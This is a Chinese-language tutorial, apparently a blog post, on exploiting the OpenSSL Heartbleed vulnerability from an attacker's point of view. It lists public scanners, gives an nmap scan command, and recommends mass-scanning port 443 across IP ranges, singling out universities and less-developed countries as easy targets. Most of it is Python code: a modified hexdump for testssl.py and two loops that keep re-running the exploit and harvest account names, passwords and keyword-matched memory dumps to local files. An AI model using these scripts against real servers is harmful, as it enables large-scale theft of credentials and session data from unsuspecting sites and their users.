OpenSSL Heartbleed漏洞的公開和流行讓許多人興奮了一把，也讓另一些人驚慌了一把。
單純從攻擊的角度講，我已知道的，網上公開的掃描工具有：
1. Nmap腳本ssl-heartbleed.nse： http://nmap.org/nsedoc/scripts/ssl-heartbleed.html
|
1
|
nmap -sV --script=ssl-heartbleed <target>
|
2. Jared Stafford的testssl.py： https://gist.github.com/sh1n0b1/10100394
3. CSHeartbleedScanner： http://www.crowdstrike.com/community-tools/
若想要批量尋找攻擊目標，可以直接掃目標IP段的443端口。高校和互聯網不發達的國家都是比較容易攻擊的。
得到活躍主機IP地址，再導入上述掃描器。
針對特定的某個攻擊目標，可以查看已經讀到的內容，利用正則表達式不停拉抓賬號密碼。
也可以根據關鍵詞，不停抓下cookie，賬號等。
將testssl.py的代碼修改為不輸出偏移地址和非ascii字符，找到hexdump函數，修改為：
|
1
2
3
4
5
6
7
8
|
def hexdump(s):
pdat = ''
for b in xrange(0, len(s), 16):
lin = [c for c in s[b : b + 16]]
pdat += ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
print '%s' % (pdat.replace('......', ''),)
print
|
這樣就只輸出有用的ascii字符串了。
1. 正則表達式抓賬號
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
import os
import re
import time
accounts = []
while True:
result = os.popen('openssl.py ').read()
matches = re.findall('"db":"(.*?)","login":"(.*?)","password":"(.*?)"', result)
for match in matches:
if match not in accounts:
accounts.append(match)
with open('accounts.txt', 'a') as inFile:
inFile.write(str(match) + '\n')
print 'New Account:', match
time.sleep(1.0)
|
腳本間隔一秒鍾讀一次數據，發現正則匹配的賬號密碼，若之前沒出現過，就寫入accounts.txt文件。
這樣可以避免重復寫入同樣的賬號、密碼。
2. 根據關鍵詞抓數據
如果並不確定后台地址，也不知道登錄請求、Cookie的格式，直接用關鍵詞抓賬號就行了。
類似下面的代碼：
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
import os
import re
import time
accounts = []
while True:
result = os.popen('openssl.py ').read()
keywords = ['system', 'password', 'passwd', 'admin']
for word in keywords:
if result.find(word) > 0:
print 'new data', time.asctime()
with open('data_1\\' + time.asctime().replace(':', ' ') + '.txt', 'w') as f:
f.write(result)
break
time.sleep(1.0)
|
這樣一旦返回的數據中存在關鍵詞passwd、password等，就會把數據寫入data_1文件夾下面，以時間命名。